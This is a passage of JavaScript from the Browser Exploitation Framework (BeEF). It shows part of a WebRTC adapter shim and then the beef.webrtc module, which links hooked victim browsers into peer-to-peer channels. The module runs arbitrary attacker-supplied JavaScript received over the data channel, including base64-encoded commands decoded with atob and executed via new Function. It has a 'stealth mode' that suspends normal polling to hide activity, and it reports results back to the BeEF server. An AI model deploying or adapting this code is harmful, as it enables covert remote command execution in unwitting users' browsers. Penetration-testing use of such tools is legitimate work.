  9936. window.RTCIceCandidate = mozRTCIceCandidate;
  9937.  
  9938. }catch(err) {
  9939.  
  9940. }
  9941.  
  9942. // getUserMedia constraints shim.
  9943. getUserMedia = (webrtcDetectedVersion < 38) ?
  9944. function(c, onSuccess, onError) {
  9945. var constraintsToFF37 = function(c) {
  9946. if (typeof c !== 'object' || c.require) {
  9947. return c;
  9948. }
  9949. var require = [];
  9950. Object.keys(c).forEach(function(key) {
  9951. var r = c[key] = (typeof c[key] === 'object') ?
  9952. c[key] : {ideal: c[key]};
  9953. if (r.exact !== undefined) {
  9954. r.min = r.max = r.exact;
  9955. delete r.exact;
  9956. }
  9957. if (r.min !== undefined || r.max !== undefined) {
  9958. require.push(key);
  9959. }
  9960. if (r.ideal !== undefined) {
  9961. c.advanced = c.advanced || [];
  9962. var oc = {};
  9963. oc[key] = {min: r.ideal, max: r.ideal};
  9964. c.advanced.push(oc);
  9965. delete r.ideal;
  9966. if (!Object.keys(r).length) {
  9967. delete c[key];
  9968. }
  9969. }
  9970. });
  9971. if (require.length) {
  9972. c.require = require;
  9973. }
  9974. return c;
  9975. };
  9976. beef.debug('spec: ' + JSON.stringify(c));
  9977. c.audio = constraintsToFF37(c.audio);
  9978. c.video = constraintsToFF37(c.video);
  9979. beef.debug('ff37: ' + JSON.stringify(c));
  9980. return navigator.mozGetUserMedia(c, onSuccess, onError);
  9981. } : navigator.mozGetUserMedia.bind(navigator);
  9982.  
  9983. navigator.getUserMedia = getUserMedia;
  9984.  
  9985. // Shim for mediaDevices on older versions.
  9986. if (!navigator.mediaDevices) {
  9987. navigator.mediaDevices = {getUserMedia: requestUserMedia,
  9988. addEventListener: function() { },
  9989. removeEventListener: function() { }
  9990. };
  9991. }
  9992. navigator.mediaDevices.enumerateDevices =
  9993. navigator.mediaDevices.enumerateDevices || function() {
  9994. return new Promise(function(resolve) {
  9995. var infos = [
  9996. {kind: 'audioinput', deviceId: 'default', label:'', groupId:''},
  9997. {kind: 'videoinput', deviceId: 'default', label:'', groupId:''}
  9998. ];
  9999. resolve(infos);
  10000. });
  10001. };
  10002.  
  10003. if (webrtcDetectedVersion < 41) {
  10004. // Work around http://bugzil.la/1169665
  10005. var orgEnumerateDevices =
  10006. navigator.mediaDevices.enumerateDevices.bind(navigator.mediaDevices);
  10007. navigator.mediaDevices.enumerateDevices = function() {
  10008. return orgEnumerateDevices().then(undefined, function(e) {
  10009. if (e.name === 'NotFoundError') {
  10010. return [];
  10011. }
  10012. throw e;
  10013. });
  10014. };
  10015. }
  10016. // Attach a media stream to an element.
  10017. attachMediaStream = function(element, stream) {
  10018. beef.debug('Attaching media stream');
  10019. element.mozSrcObject = stream;
  10020. };
  10021.  
  10022. reattachMediaStream = function(to, from) {
  10023. beef.debug('Reattaching media stream');
  10024. to.mozSrcObject = from.mozSrcObject;
  10025. };
  10026.  
  10027. } else if (navigator.webkitGetUserMedia) {
  10028.  
  10029. webrtcDetectedBrowser = 'chrome';
  10030.  
  10031. // the detected chrome version.
  10032. webrtcDetectedVersion =
  10033. parseInt(navigator.userAgent.match(/Chrom(e|ium)\/([0-9]+)\./)[2], 10);
  10034.  
  10035. // the minimum chrome version still supported by adapter.
  10036. webrtcMinimumVersion = 38;
  10037.  
  10038. // The RTCPeerConnection object.
  10039. window.RTCPeerConnection = function(pcConfig, pcConstraints) {
  10040. var pc = new webkitRTCPeerConnection(pcConfig, pcConstraints);
  10041. var origGetStats = pc.getStats.bind(pc);
  10042. pc.getStats = function(selector, successCallback, errorCallback) { // jshint ignore: line
  10043. // If selector is a function then we are in the old style stats so just
  10044. // pass back the original getStats format to avoid breaking old users.
  10045. if (typeof selector === 'function') {
  10046. return origGetStats(selector, successCallback);
  10047. }
  10048.  
  10049. var fixChromeStats = function(response) {
  10050. var standardReport = {};
  10051. var reports = response.result();
  10052. reports.forEach(function(report) {
  10053. var standardStats = {
  10054. id: report.id,
  10055. timestamp: report.timestamp,
  10056. type: report.type
  10057. };
  10058. report.names().forEach(function(name) {
  10059. standardStats[name] = report.stat(name);
  10060. });
  10061. standardReport[standardStats.id] = standardStats;
  10062. });
  10063.  
  10064. return standardReport;
  10065. };
  10066. var successCallbackWrapper = function(response) {
  10067. successCallback(fixChromeStats(response));
  10068. };
  10069. return origGetStats(successCallbackWrapper, selector);
  10070. };
  10071.  
  10072. return pc;
  10073. };
  10074.  
  10075. // add promise support
  10076. ['createOffer', 'createAnswer'].forEach(function(method) {
  10077. var nativeMethod = webkitRTCPeerConnection.prototype[method];
  10078. webkitRTCPeerConnection.prototype[method] = function() {
  10079. var self = this;
  10080. if (arguments.length < 1 || (arguments.length === 1 &&
  10081. typeof(arguments[0]) === 'object')) {
  10082. var opts = arguments.length === 1 ? arguments[0] : undefined;
  10083. return new Promise(function(resolve, reject) {
  10084. nativeMethod.apply(self, [resolve, reject, opts]);
  10085. });
  10086. } else {
  10087. return nativeMethod.apply(this, arguments);
  10088. }
  10089. };
  10090. });
  10091.  
  10092. ['setLocalDescription', 'setRemoteDescription',
  10093. 'addIceCandidate'].forEach(function(method) {
  10094. var nativeMethod = webkitRTCPeerConnection.prototype[method];
  10095. webkitRTCPeerConnection.prototype[method] = function() {
  10096. var args = arguments;
  10097. var self = this;
  10098. return new Promise(function(resolve, reject) {
  10099. nativeMethod.apply(self, [args[0],
  10100. function() {
  10101. resolve();
  10102. if (args.length >= 2) {
  10103. args[1].apply(null, []);
  10104. }
  10105. },
  10106. function(err) {
  10107. reject(err);
  10108. if (args.length >= 3) {
  10109. args[2].apply(null, [err]);
  10110. }
  10111. }]
  10112. );
  10113. });
  10114. };
  10115. });
  10116.  
  10117. // getUserMedia constraints shim.
  10118. getUserMedia = function(c, onSuccess, onError) {
  10119. var constraintsToChrome = function(c) {
  10120. if (typeof c !== 'object' || c.mandatory || c.optional) {
  10121. return c;
  10122. }
  10123. var cc = {};
  10124. Object.keys(c).forEach(function(key) {
  10125. if (key === 'require' || key === 'advanced') {
  10126. return;
  10127. }
  10128. var r = (typeof c[key] === 'object') ? c[key] : {ideal: c[key]};
  10129. if (r.exact !== undefined && typeof r.exact === 'number') {
  10130. r.min = r.max = r.exact;
  10131. }
  10132. var oldname = function(prefix, name) {
  10133. if (prefix) {
  10134. return prefix + name.charAt(0).toUpperCase() + name.slice(1);
  10135. }
  10136. return (name === 'deviceId') ? 'sourceId' : name;
  10137. };
  10138. if (r.ideal !== undefined) {
  10139. cc.optional = cc.optional || [];
  10140. var oc = {};
  10141. if (typeof r.ideal === 'number') {
  10142. oc[oldname('min', key)] = r.ideal;
  10143. cc.optional.push(oc);
  10144. oc = {};
  10145. oc[oldname('max', key)] = r.ideal;
  10146. cc.optional.push(oc);
  10147. } else {
  10148. oc[oldname('', key)] = r.ideal;
  10149. cc.optional.push(oc);
  10150. }
  10151. }
  10152. if (r.exact !== undefined && typeof r.exact !== 'number') {
  10153. cc.mandatory = cc.mandatory || {};
  10154. cc.mandatory[oldname('', key)] = r.exact;
  10155. } else {
  10156. ['min', 'max'].forEach(function(mix) {
  10157. if (r[mix] !== undefined) {
  10158. cc.mandatory = cc.mandatory || {};
  10159. cc.mandatory[oldname(mix, key)] = r[mix];
  10160. }
  10161. });
  10162. }
  10163. });
  10164. if (c.advanced) {
  10165. cc.optional = (cc.optional || []).concat(c.advanced);
  10166. }
  10167. return cc;
  10168. };
  10169. beef.debug('spec: ' + JSON.stringify(c)); // whitespace for alignment
  10170. c.audio = constraintsToChrome(c.audio);
  10171. c.video = constraintsToChrome(c.video);
  10172. beef.debug('chrome: ' + JSON.stringify(c));
  10173. return navigator.webkitGetUserMedia(c, onSuccess, onError);
  10174. };
  10175. navigator.getUserMedia = getUserMedia;
  10176.  
  10177. // Attach a media stream to an element.
  10178. attachMediaStream = function(element, stream) {
  10179. if (typeof element.srcObject !== 'undefined') {
  10180. element.srcObject = stream;
  10181. } else if (typeof element.src !== 'undefined') {
  10182. element.src = URL.createObjectURL(stream);
  10183. } else {
  10184. beef.debug('Error attaching stream to element.');
  10185. }
  10186. };
  10187.  
  10188. reattachMediaStream = function(to, from) {
  10189. to.src = from.src;
  10190. };
  10191.  
  10192. if (!navigator.mediaDevices) {
  10193. navigator.mediaDevices = {getUserMedia: requestUserMedia,
  10194. enumerateDevices: function() {
  10195. return new Promise(function(resolve) {
  10196. var kinds = {audio: 'audioinput', video: 'videoinput'};
  10197. return MediaStreamTrack.getSources(function(devices) {
  10198. resolve(devices.map(function(device) {
  10199. return {label: device.label,
  10200. kind: kinds[device.kind],
  10201. deviceId: device.id,
  10202. groupId: ''};
  10203. }));
  10204. });
  10205. });
  10206. }};
  10207. // in case someone wants to listen for the devicechange event.
  10208. navigator.mediaDevices.addEventListener = function() { };
  10209. navigator.mediaDevices.removeEventListener = function() { };
  10210. }
  10211. } else if (navigator.mediaDevices && navigator.userAgent.match(
  10212. /Edge\/(\d+).(\d+)$/)) {
  10213. webrtcDetectedBrowser = 'edge';
  10214.  
  10215. webrtcDetectedVersion =
  10216. parseInt(navigator.userAgent.match(/Edge\/(\d+).(\d+)$/)[2], 10);
  10217.  
  10218. // the minimum version still supported by adapter.
  10219. webrtcMinimumVersion = 12;
  10220.  
  10221. attachMediaStream = function(element, stream) {
  10222. element.srcObject = stream;
  10223. };
  10224. reattachMediaStream = function(to, from) {
  10225. to.srcObject = from.srcObject;
  10226. };
  10227. } else {
  10228. // console.log('Browser does not appear to be WebRTC-capable');
  10229. }
  10230.  
  10231. // Returns the result of getUserMedia as a Promise.
  10232. function requestUserMedia(constraints) {
  10233. return new Promise(function(resolve, reject) {
  10234. getUserMedia(constraints, resolve, reject);
  10235. });
  10236. }
  10237.  
  10238. if (typeof module !== 'undefined') {
  10239. module.exports = {
  10240. RTCPeerConnection: window.RTCPeerConnection,
  10241. getUserMedia: getUserMedia,
  10242. attachMediaStream: attachMediaStream,
  10243. reattachMediaStream: reattachMediaStream,
  10244. webrtcDetectedBrowser: webrtcDetectedBrowser,
  10245. webrtcDetectedVersion: webrtcDetectedVersion,
  10246. webrtcMinimumVersion: webrtcMinimumVersion
  10247. //requestUserMedia: not exposed on purpose.
  10248. //trace: not exposed on purpose.
  10249. };
  10250. } else if ((typeof require === 'function') && (typeof define === 'function')) {
  10251. // Expose objects and functions when RequireJS is doing the loading.
  10252. define([], function() {
  10253. return {
  10254. RTCPeerConnection: window.RTCPeerConnection,
  10255. getUserMedia: getUserMedia,
  10256. attachMediaStream: attachMediaStream,
  10257. reattachMediaStream: reattachMediaStream,
  10258. webrtcDetectedBrowser: webrtcDetectedBrowser,
  10259. webrtcDetectedVersion: webrtcDetectedVersion,
  10260. webrtcMinimumVersion: webrtcMinimumVersion
  10261. //requestUserMedia: not exposed on purpose.
  10262. //trace: not exposed on purpose.
  10263. };
  10264. });
  10265. }
  10266.  
  10267.  
  10268. //
  10269. // Copyright (c) 2006-2017 Wade Alcorn - wade@bindshell.net
  10270. // Browser Exploitation Framework (BeEF) - http://beefproject.com
  10271. // See the file 'doc/COPYING' for copying permission
  10272. //
  10273.  
  10274.  
  10275. /**
  10276. * @Literal object: beef.webrtc
  10277. *
  10278. * Manage the WebRTC peer to peer communication channels.
  10279. * This objects contains all the necessary client-side WebRTC components,
  10280. * allowing browsers to use WebRTC to communicate with each other.
  10281. * To provide signaling, the WebRTC extension sets up custom listeners.
  10282. * /rtcsignal - for sending RTC signalling information between peers
  10283. * /rtcmessage - for client-side rtc messages to be submitted back into beef and logged.
  10284. *
  10285. * To ensure signaling gets back to the peers, the hook.js dynamic construction also includes
  10286. * the signalling.
  10287. *
  10288. * This is all mostly a Proof of Concept
  10289. */
  10290.  
  10291. beefrtcs = {}; // To handle multiple peers - we need to have a hash of Beefwebrtc objects
  10292. // The key is the peer id
  10293. globalrtc = {}; // To handle multiple Peers - we have to have a global hash of RTCPeerConnection objects
  10294. // these objects persist outside of everything else
  10295. // The key is the peer id
  10296. rtcstealth = false; // stealth should only be initiated from one peer - this global variable will contain:
  10297. // false - i.e not stealthed; or
  10298. // <peerid> - i.e. the id of the browser which initiated stealth mode
  10299. rtcrecvchan = {}; // To handle multiple event channels - we need to have a global hash of these
  10300. // The key is the peer id
  10301.  
  10302. // Beefwebrtc object - wraps everything together for a peer connection
  10303. // One of these per peer connection, and will be stored in the beefrtc global hash
  10304. function Beefwebrtc(initiator,peer,turnjson,stunservers,verbparam) {
  10305. this.verbose = typeof verbparam !== 'undefined' ? verbparam : false; // whether this object is verbose or not
  10306. this.initiator = typeof initiator !== 'undefined' ? initiator : 0; // if 1 - this is the caller; if 0 - this is the receiver
  10307. this.peerid = typeof peer !== 'undefined' ? peer : null; // id of this rtc peer
  10308. this.turnjson = turnjson; // set of TURN servers in the format:
  10309. // {"username": "<username", "password": "<password>", "uris": [
  10310. // "turn:<ip>:<port>?transport=<udp/tcp>",
  10311. // "turn:<ip>:<port>?transport=<udp/tcp>"]}
  10312. this.started = false; // Has signaling / dialing started for this peer
  10313. this.gotanswer = false; // For the caller - this determines whether they have received an SDP answer from the receiver
  10314. this.turnDone = false; // does the pcConfig have TURN servers added to it?
  10315. this.signalingReady = false; // the initiator (Caller) is always ready to signal. So this sets to true during init
  10316. // the receiver will set this to true once it receives an SDP 'offer'
  10317. this.msgQueue = []; // because the handling of SDP signals may happen in any order - we need a queue for them
  10318. this.pcConfig = null; // We set this during init
  10319. this.pcConstraints = {"optional": [{"googImprovedWifiBwe": true}]} // PeerConnection constraints
  10320. this.offerConstraints = {"optional": [], "mandatory": {}}; // Default SDP Offer Constraints - used in the caller
  10321. this.sdpConstraints = {'optional': [{'RtpDataChannels':true}]}; // Default SDP Constraints - used by caller and receiver
  10322. this.gatheredIceCandidateTypes = { Local: {}, Remote: {} }; // ICE Candidates
  10323. this.allgood = false; // Is this object / peer connection with the nominated peer ready to go?
  10324. this.dataChannel = null; // The data channel used by this peer
  10325. this.stunservers = stunservers; // set of STUN servers, in the format:
  10326. // ["stun:stun.l.google.com:19302","stun:stun1.l.google.com:19302"]
  10327. }
  10328.  
  10329. // Initialize the object
  10330. Beefwebrtc.prototype.initialize = function() {
  10331. if (this.peerid == null) {
  10332. return 0; // no peerid - NO DICE
  10333. }
  10334.  
  10335. // Initialise the pcConfig hash with the provided stunservers
  10336. var stuns = JSON.parse(this.stunservers);
  10337. this.pcConfig = {"iceServers": [{"urls":stuns, "username":"user",
  10338. "credential":"pass"}]};
  10339.  
  10340. // We're not getting the browsers to request their own TURN servers, we're specifying them through BeEF
  10341. // this.forceTurn(this.turnjson);
  10342. this.turnDone = true;
  10343.  
  10344. // Caller is always ready to create peerConnection.
  10345. this.signalingReady = this.initiator;
  10346.  
  10347. // Start .. maybe
  10348. this.maybeStart();
  10349.  
  10350. // If the window is closed, send a signal to beef .. this is not all that great, so just commenting out
  10351. // window.onbeforeunload = function() {
  10352. // this.sendSignalMsg({type: 'bye'});
  10353. // }
  10354.  
  10355. return 1; // because .. yeah .. we had a peerid - this is good yar.
  10356. }
  10357.  
  10358. //Forces the TURN configuration (we can't query that computeengine thing because it's CORS is restrictive)
  10359. //These values are now simply passed in from the config.yaml for the webrtc extension
  10360. Beefwebrtc.prototype.forceTurn = function(jason) {
  10361. var turnServer = JSON.parse(jason);
  10362. var iceServers = createIceServers(turnServer.uris,
  10363. turnServer.username,
  10364. turnServer.password);
  10365. if (iceServers !== null) {
  10366. this.pcConfig.iceServers = this.pcConfig.iceServers.concat(iceServers);
  10367. }
  10368. beef.debug("Got TURN servers, will try and maybestart again..");
  10369. this.turnDone = true;
  10370. this.maybeStart();
  10371. }
  10372.  
  10373. // Try and establish the RTC connection
  10374. Beefwebrtc.prototype.createPeerConnection = function() {
  10375. beef.debug('Creating RTCPeerConnnection with the following options:\n' +
  10376. ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
  10377. ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
  10378. try {
  10379. // Create an RTCPeerConnection via the polyfill (webrtcadapter.js).
  10380. globalrtc[this.peerid] = new RTCPeerConnection(this.pcConfig, this.pcConstraints);
  10381. globalrtc[this.peerid].onicecandidate = this.onIceCandidate;
  10382. beef.debug('Created RTCPeerConnnection with the following options:\n' +
  10383. ' config: \'' + JSON.stringify(this.pcConfig) + '\';\n' +
  10384. ' constraints: \'' + JSON.stringify(this.pcConstraints) + '\'.');
  10385.  
  10386. } catch (e) {
  10387. beef.debug('Failed to create PeerConnection, exception: ');
  10388. beef.debug(e);
  10389. return;
  10390. }
  10391.  
  10392. // Assign event handlers to signalstatechange, iceconnectionstatechange, datachannel etc
  10393. globalrtc[this.peerid].onsignalingstatechange = this.onSignalingStateChanged;
  10394. globalrtc[this.peerid].oniceconnectionstatechange = this.onIceConnectionStateChanged;
  10395. globalrtc[this.peerid].ondatachannel = this.onDataChannel;
  10396. this.dataChannel = globalrtc[this.peerid].createDataChannel("sendDataChannel", {reliable:false});
  10397. }
  10398.  
  10399. // When the PeerConnection receives a new ICE Candidate
  10400. Beefwebrtc.prototype.onIceCandidate = function(event) {
  10401. var peerid = null;
  10402.  
  10403. for (var k in beefrtcs) {
  10404. if (beefrtcs[k].allgood === false) {
  10405. peerid = beefrtcs[k].peerid;
  10406. }
  10407. }
  10408.  
  10409. beef.debug("Handling onicecandidate event while connecting to peer: " + peerid + ". Event received:");
  10410. beef.debug(event);
  10411.  
  10412. if (event.candidate) {
  10413. // Send the candidate to the peer via the BeEF signalling channel
  10414. beefrtcs[peerid].sendSignalMsg({type: 'candidate',
  10415. label: event.candidate.sdpMLineIndex,
  10416. id: event.candidate.sdpMid,
  10417. candidate: event.candidate.candidate});
  10418. // Note this ICE candidate locally
  10419. beefrtcs[peerid].noteIceCandidate("Local", beefrtcs[peerid].iceCandidateType(event.candidate.candidate));
  10420. } else {
  10421. beef.debug('End of candidates.');
  10422. }
  10423. }
  10424.  
  10425. // For all rtc signalling messages we receive as part of hook.js polling - we have to process them with this function
  10426. // This will either add messages to the msgQueue and try and kick off maybeStart - or it'll call processSignalingMessage
  10427. // against the message directly
  10428. Beefwebrtc.prototype.processMessage = function(message) {
  10429. beef.debug('Signalling Message - S->C: ' + JSON.stringify(message));
  10430. var msg = JSON.parse(message);
  10431.  
  10432. if (!this.initiator && !this.started) { // We are currently the receiver AND we have NOT YET received an SDP Offer
  10433. beef.debug('processing the message, as a receiver');
  10434. if (msg.type === 'offer') { // This IS an SDP Offer
  10435. beef.debug('.. and the message is an offer .. ');
  10436. this.msgQueue.unshift(msg); // put it on the top of the msgqueue
  10437. this.signalingReady = true; // As the receiver, we've now got an SDP Offer, so lets set signalingReady to true
  10438. this.maybeStart(); // Lets try and start again - this will end up with calleeStart() getting executed
  10439. } else { // This is NOT an SDP Offer - as the receiver, just add it to the queue
  10440. beef.debug(' .. the message is NOT an offer .. ');
  10441. this.msgQueue.push(msg);
  10442. }
  10443. } else if (this.initiator && !this.gotanswer) { // We are currently the caller AND we have NOT YET received the SDP Answer
  10444. beef.debug('processing the message, as the sender, no answers yet');
  10445. if (msg.type === 'answer') { // This IS an SDP Answer
  10446. beef.debug('.. and we have an answer ..');
  10447. this.processSignalingMessage(msg); // Process the message directly
  10448. this.gotanswer = true; // We have now received an answer
  10449. //process all other queued message...
  10450. while (this.msgQueue.length > 0) {
  10451. this.processSignalingMessage(this.msgQueue.shift());
  10452. }
  10453. } else { // This is NOT an SDP Answer - as the caller, just add it to the queue
  10454. beef.debug('.. not an answer ..');
  10455. this.msgQueue.push(msg);
  10456. }
  10457. } else { // For all other messages just drop them in the queue
  10458. beef.debug('processing a message, but, not as a receiver, OR, the rtc is already up');
  10459. this.processSignalingMessage(msg);
  10460. }
  10461. }
  10462.  
  10463. // Send a signalling message ..
  10464. Beefwebrtc.prototype.sendSignalMsg = function(message) {
  10465. var msgString = JSON.stringify(message);
  10466. beef.debug('Signalling Message - C->S: ' + msgString);
  10467. beef.net.send('/rtcsignal',0,{targetbeefid: this.peerid, signal: msgString});
  10468. }
  10469.  
  10470. // Used to record ICS candidates locally
  10471. Beefwebrtc.prototype.noteIceCandidate = function(location, type) {
  10472. if (this.gatheredIceCandidateTypes[location][type])
  10473. return;
  10474. this.gatheredIceCandidateTypes[location][type] = 1;
  10475. // updateInfoDiv();
  10476. }
  10477.  
  10478. // When the signalling state changes. We don't actually do anything with this except log it.
  10479. Beefwebrtc.prototype.onSignalingStateChanged = function(event) {
  10480. beef.debug("Signalling has changed to: " + event.target.signalingState);
  10481. }
  10482.  
  10483. // When the ICE Connection State changes - this is useful to determine connection statuses with peers.
  10484. Beefwebrtc.prototype.onIceConnectionStateChanged = function(event) {
  10485. var peerid = null;
  10486.  
  10487. for (k in globalrtc) {
  10488. if ((globalrtc[k].localDescription.sdp === event.target.localDescription.sdp) && (globalrtc[k].localDescription.type === event.target.localDescription.type)) {
  10489. peerid = k;
  10490. }
  10491. }
  10492.  
  10493. beef.debug("ICE with peer: " + peerid + " has changed to: " + event.target.iceConnectionState);
  10494.  
  10495. // ICE Connection Status has connected - this is good. Normally means the RTCPeerConnection is ready! Although may still look for
  10496. // better candidates or connections
  10497. if (event.target.iceConnectionState === 'connected') {
  10498. //Send status to peer
  10499. window.setTimeout(function() {
  10500. beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
  10501. beefrtcs[peerid].allgood = true;
  10502. },1000);
  10503. }
  10504.  
  10505. // Completed is similar to connected. Except, each of the ICE components are good, and no more testing remote candidates is done.
  10506. if (event.target.iceConnectionState === 'completed') {
  10507. window.setTimeout(function() {
  10508. beefrtcs[peerid].sendPeerMsg('ICE Status: '+event.target.iceConnectionState);
  10509. beefrtcs[peerid].allgood = true;
  10510. },1000);
  10511. }
  10512.  
  10513. if ((rtcstealth == peerid) && (event.target.iceConnectionState === 'disconnected')) {
  10514. //I was in stealth mode, talking back to this peer - but it's gone offline.. come out of stealth
  10515. rtcstealth = false;
  10516. beefrtcs[peerid].allgood = false;
  10517. beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
  10518. } else if ((rtcstealth == false) && (event.target.iceConnectionState === 'disconnected')) {
  10519. //I was not in stealth, and this peer has gone offline - send a message
  10520. beefrtcs[peerid].allgood = false;
  10521. beef.net.send('/rtcmessage',0,{peerid: peerid, message: peerid + " - has apparently gotten disconnected"});
  10522. }
  10523. // We don't handle situations where a stealthed peer loses a peer that is NOT the peer that made it go into stealth
  10524. // This is possibly a bad idea - @xntrik
  10525.  
  10526.  
  10527. }
  10528.  
  10529. // This is the function when a peer tells us to go into stealth by sending a dataChannel message of "!gostealth"
  10530. Beefwebrtc.prototype.goStealth = function() {
  10531. //stop the beef updater
  10532. rtcstealth = this.peerid; // this is a global variable
  10533. beef.updater.lock = true;
  10534. this.sendPeerMsg('Going into stealth mode');
  10535.  
  10536. setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
  10537. }
  10538.  
  10539. // This is the actual poller when in stealth, it is global as well because we're using the setTimeout to execute it
  10540. rtcpollPeer = function() {
  10541. if (rtcstealth == false) {
  10542. //my peer has disabled stealth mode
  10543. beef.updater.lock = false;
  10544. return;
  10545. }
  10546.  
  10547. beef.debug('lub dub');
  10548.  
  10549. beefrtcs[rtcstealth].sendPeerMsg('Stayin alive'); // This is the heartbeat we send back to the peer that made us stealth
  10550.  
  10551. setTimeout(function() {rtcpollPeer()}, beef.updater.xhr_poll_timeout * 5);
  10552. }
  10553.  
  10554. // When a data channel has been established - within here is the message handling function as well
  10555. Beefwebrtc.prototype.onDataChannel = function(event) {
  10556. var peerid = null;
  10557. for (k in globalrtc) {
  10558. if ((globalrtc[k].localDescription.sdp === event.currentTarget.localDescription.sdp) && (globalrtc[k].localDescription.type === event.currentTarget.localDescription.type)) {
  10559. peerid = k;
  10560. }
  10561. }
  10562.  
  10563. beef.debug("Peer: " + peerid + " has just handled the onDataChannel event");
  10564. rtcrecvchan[peerid] = event.channel;
  10565.  
  10566. // This is the onmessage event handling within the datachannel
  10567. rtcrecvchan[peerid].onmessage = function(ev2) {
  10568. beef.debug("Received an RTC message from my peer["+peerid+"]: " + ev2.data);
  10569.  
  10570. // We've received the command to go into stealth mode
  10571. if (ev2.data == "!gostealth") {
  10572. if (beef.updater.lock == true) {
  10573. setTimeout(function() {beefrtcs[peerid].goStealth()},beef.updater.xhr_poll_timeout * 0.4);
  10574. } else {
  10575. beefrtcs[peerid].goStealth();
  10576. }
  10577.  
  10578. // The message to come out of stealth
  10579. } else if (ev2.data == "!endstealth") {
  10580.  
  10581. if (rtcstealth != null) {
  10582. beefrtcs[rtcstealth].sendPeerMsg("Coming out of stealth...");
  10583. rtcstealth = false;
  10584. }
  10585.  
  10586. // Command to perform arbitrary JS (while stealthed)
  10587. } else if ((rtcstealth != false) && (ev2.data.charAt(0) == "%")) {
  10588. beef.debug('message was a command: '+ev2.data.substring(1) + ' .. and I am in stealth mode');
  10589. beefrtcs[rtcstealth].sendPeerMsg("Command result - " + beefrtcs[rtcstealth].execCmd(ev2.data.substring(1)));
  10590.  
  10591. // Command to perform arbitrary JS (while NOT stealthed)
  10592. } else if ((rtcstealth == false) && (ev2.data.charAt(0) == "%")) {
  10593. beef.debug('message was a command - we are not in stealth. Command: '+ ev2.data.substring(1));
  10594. beefrtcs[peerid].sendPeerMsg("Command result - " + beefrtcs[peerid].execCmd(ev2.data.substring(1)));
  10595.  
  10596. // B64d command from the /cmdexec API
  10597. } else if (ev2.data.charAt(0) == "@") {
  10598. beef.debug('message was a b64d command');
  10599.  
  10600. var fn = new Function(atob(ev2.data.substring(1)));
  10601. fn();
  10602. if (rtcstealth != false) { // force stealth back on ?
  10603. beef.updater.execute_commands(); // FORCE execution while stealthed
  10604. beef.updater.lock = true;
  10605. }
  10606.  
  10607.  
  10608. // Just a plain text message .. (while stealthed)
  10609. } else if (rtcstealth != false) {
  10610. beef.debug('received a message, apparently we are in stealth - so just send it back to peer['+rtcstealth+']');
  10611. beefrtcs[rtcstealth].sendPeerMsg(ev2.data);
  10612.  
  10613. // Just a plan text message (while NOT stealthed)
  10614. } else {
  10615. beef.debug('received a message from peer['+peerid+'] - sending it back to beef');
  10616. beef.net.send('/rtcmessage',0,{peerid: peerid, message: ev2.data});
  10617. }
  10618. }
  10619. }
  10620.  
  10621. // How the browser executes received JS (this is pretty hacky)
  10622. Beefwebrtc.prototype.execCmd = function(input) {
  10623. var fn = new Function(input);
  10624. var res = fn();
  10625. return res.toString();
  10626. }
  10627.  
  10628. // Shortcut function to SEND a data messsage
  10629. Beefwebrtc.prototype.sendPeerMsg = function(msg) {
  10630. beef.debug('sendPeerMsg to ' + this.peerid);
  10631. this.dataChannel.send(msg);
  10632. }
  10633.  
  10634. // Try and initiate, will check that system hasn't started, and that signaling is ready, and that TURN servers are ready
  10635. Beefwebrtc.prototype.maybeStart = function() {
  10636. beef.debug("maybe starting ... ");
  10637.  
  10638. if (!this.started && this.signalingReady && this.turnDone) {
  10639. beef.debug('Creating PeerConnection.');
  10640. this.createPeerConnection();
  10641.  
  10642. this.started = true;
  10643.  
  10644. if (this.initiator) {
  10645. beef.debug("Making the call now .. bzz bzz");
  10646. this.doCall();
  10647. } else {
  10648. beef.debug("Receiving a call now .. somebuddy answer da fone?");
  10649. this.calleeStart();
  10650. }
  10651.  
  10652. } else {
  10653. beef.debug("Not ready to start just yet..");
  10654. }
  10655. }
  10656.  
  10657. // RTC - create an offer - the caller runs this, while the receiver runs calleeStart()
  10658. Beefwebrtc.prototype.doCall = function() {
  10659. var constraints = this.mergeConstraints(this.offerConstraints, this.sdpConstraints);
  10660. var self = this;
  10661. globalrtc[this.peerid].createOffer(this.setLocalAndSendMessage, this.onCreateSessionDescriptionError, constraints);
  10662. beef.debug('Sending offer to peer, with constraints: \n' +
  10663. ' \'' + JSON.stringify(constraints) + '\'.');
  10664. }
  10665.  
  10666. // Helper method to merge SDP constraints
  10667. Beefwebrtc.prototype.mergeConstraints = function(cons1, cons2) {
  10668. var merged = cons1;
  10669. for (var name in cons2.mandatory) {
  10670. merged.mandatory[name] = cons2.mandatory[name];
  10671. }
  10672. merged.optional.concat(cons2.optional);
  10673. return merged;
  10674. }
  10675.  
  10676. // Sets the local RTC session description, sends this information back (via signalling)
  10677. // The caller uses this to set it's local description, and it then has to send this to the peer (via signalling)
  10678. // The receiver uses this information too - and vice-versa - hence the signaling
  10679. Beefwebrtc.prototype.setLocalAndSendMessage = function(sessionDescription) {
  10680. // This fucking function does NOT receive a 'this' state, and you can't pass additional parameters
  10681. // Stupid .. javascript :(
  10682. // So I'm hacking it to find the peerid gah - I believe *this* is what means you can't establish peers concurrently
  10683. // i.e. this browser will have to wait for this peerconnection to establish before attempting to connect to the next one..
  10684. var peerid = null;
  10685.  
  10686. for (var k in beefrtcs) {
  10687. if (beefrtcs[k].allgood === false) {
  10688. peerid = beefrtcs[k].peerid;
  10689. }
  10690. }
  10691. beef.debug("For peer: " + peerid + " Running setLocalAndSendMessage...");
  10692.  
  10693. globalrtc[peerid].setLocalDescription(sessionDescription, onSetSessionDescriptionSuccess, onSetSessionDescriptionError);
  10694. beefrtcs[peerid].sendSignalMsg(sessionDescription);
  10695.  
  10696. function onSetSessionDescriptionSuccess() {
  10697. beef.debug('Set session description success.');
  10698. }
  10699.  
  10700. function onSetSessionDescriptionError() {
  10701. beef.debug('Failed to set session description');
  10702. }
  10703. }
  10704.  
  10705. // If the browser can't build an SDP
  10706. Beefwebrtc.prototype.onCreateSessionDescriptionError = function(error) {
  10707. beef.debug('Failed to create session description: ' + error.toString());
  10708. }
  10709.  
  10710. // If the browser successfully sets a remote description
  10711. Beefwebrtc.prototype.onSetRemoteDescriptionSuccess = function() {
  10712. beef.debug('Set remote session description successfully');
  10713. }
  10714.  
